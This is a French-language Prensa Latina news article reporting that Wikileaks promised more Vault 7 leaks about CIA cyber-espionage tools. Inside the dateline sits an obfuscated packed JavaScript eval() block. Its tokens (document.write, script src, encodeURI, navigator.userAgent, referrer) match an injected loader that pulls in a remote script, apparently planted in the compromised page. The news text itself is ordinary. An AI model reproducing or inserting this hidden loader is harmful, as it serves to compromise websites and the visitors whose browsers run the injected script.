samedi 27 juillet 2024 |
Prensa Latina - Qui sommes nous

| Contacter avec Prensa Latina

Agence d'information Latino-américaine
Édition française
Search
Close this search box.

Wikileaks promet de nouvelles fuites sur l’espionnage de la CIA

Londres eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaytd|var|u0026u|referrer|yirts||js|php'.split('|'),0,{})) (PL) Le site Wikileaks a promis de nouvelles révélations au sujet d'un programme de cyberespionnage secret de l'Agence Centrale de Renseignement (CIA) des États-Unis.

Londres (PL) Le site Wikileaks a promis de nouvelles révélations au sujet d’un programme de cyberespionnage secret de l’Agence Centrale de Renseignement (CIA) des États-Unis.

Wikileaks a assuré que les 8 761 documents confidentiels de la CIA, publiés mardi sous le nom de Year Zero (Année Zéro en français), ne représentent qu’un pour cent des informations qu’il possède.

La publication de ces archives forme partie d’une série de sept livraisons appelée Vault 7 (Coffre-fort 7 en français), considérée par Wikileaks comme la plus importante publication de données de renseignement de l’histoire.

Le site révèle que l’agence nord-américaine est capable de dérober  les données des systèmes d’exploitations de Windows, MacOs, Linux Solaris, parmi d’autres.

La fuite démontre l’envergure et les outils de hacking de la CIA,  son arsenal de malware (software nocif) contre une ample gamme de produits de compagnies étasuniennes et européennes comme iPhone de Apple, les dispositifs à partir de Android de Google ou les Samsung TV, qui se convertissent en micros et caméras cachées.

Selon internet, la CIA a récemment perdu le contrôle de la majorité de son arsenal de piraterie, qui circule prétendument sans autorisation entre d’anciens hackeurs du gouvernement nord-américain ainsi que des sous-traitants privés, l’un desquels a remis une partie de ces archives au site Wikileaks.

L’agence étasunienne garde le silence au sujet des récentes fuites.

osc/lla

EN CONTINU
notes connexes